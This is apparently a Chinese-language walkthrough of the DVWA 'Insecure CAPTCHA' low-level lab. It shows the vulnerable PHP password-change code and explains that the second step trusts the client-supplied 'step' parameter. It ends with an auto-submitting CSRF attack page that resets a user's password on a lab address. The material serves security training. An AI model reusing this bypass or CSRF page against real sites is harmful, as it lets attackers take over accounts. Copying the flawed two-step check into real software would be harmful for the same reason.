Insecure CAPTCHA
不安全的验证流程
【low】
Google提供reCAPTCHA服务:
<?php
if( isset( $_POST[ ‘Change‘ ] ) && ( $_POST[ ‘step‘ ] == ‘1‘ ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ ‘password_new‘ ]; //获取密码
$pass_conf = $_POST[ ‘password_conf‘ ]; //获取确认密码
// Check CAPTCHA from 3rd party //检查验证码
$resp = recaptcha_check_answer(
$_DVWA[ ‘recaptcha_private_key‘],
$_POST[‘g-recaptcha-response‘]
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
if( isset( $_POST[ ‘Change‘ ] ) && ( $_POST[ ‘step‘ ] == ‘2‘ ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ ‘password_new‘ ];
$pass_conf = $_POST[ ‘password_conf‘ ];
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = ‘$pass_new‘ WHERE user = ‘" . dvwaCurrentUser() . "‘;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( ‘<pre>‘ . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . ‘</pre>‘ );
// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
服务器通过调用recaptcha_check_answer函数检查用户输入的正确性。
recaptcha_check_answer($privkey,$remoteip, $challenge,$response)
参数$privkey是服务器申请的private key ，$remoteip是用户的ip，$challenge 来自前端页面 ，$response函数返回ReCaptchaResponse class的实例，ReCaptchaResponse 类有2个属性 ：
$is_valid是布尔型的，表示校验是否有效，
$error是返回的错误代码。
服务器将改密操作分成了两步：
1.检查用户输入的验证码，验证通过后，服务器返回表单；
2.客户端提交post请求，服务器完成更改密码的操作。
【漏洞原理】
服务器仅仅通过检查Change、step 参数来判断用户是否已经输入了正确的验证码。
【漏洞利用】
1.构造参数绕过验证过程
2.由于没有任何的防CSRF机制，我们可以轻易地构造攻击页面，页面代码如下
<html>
<body onload="document.getElementById(‘transfer‘).submit()">
<div>
<form method="POST" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/captcha/"
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="step" value="2"
<input type="hidden" name="Change" value="Change">
</form>
</div>
</body>
</html>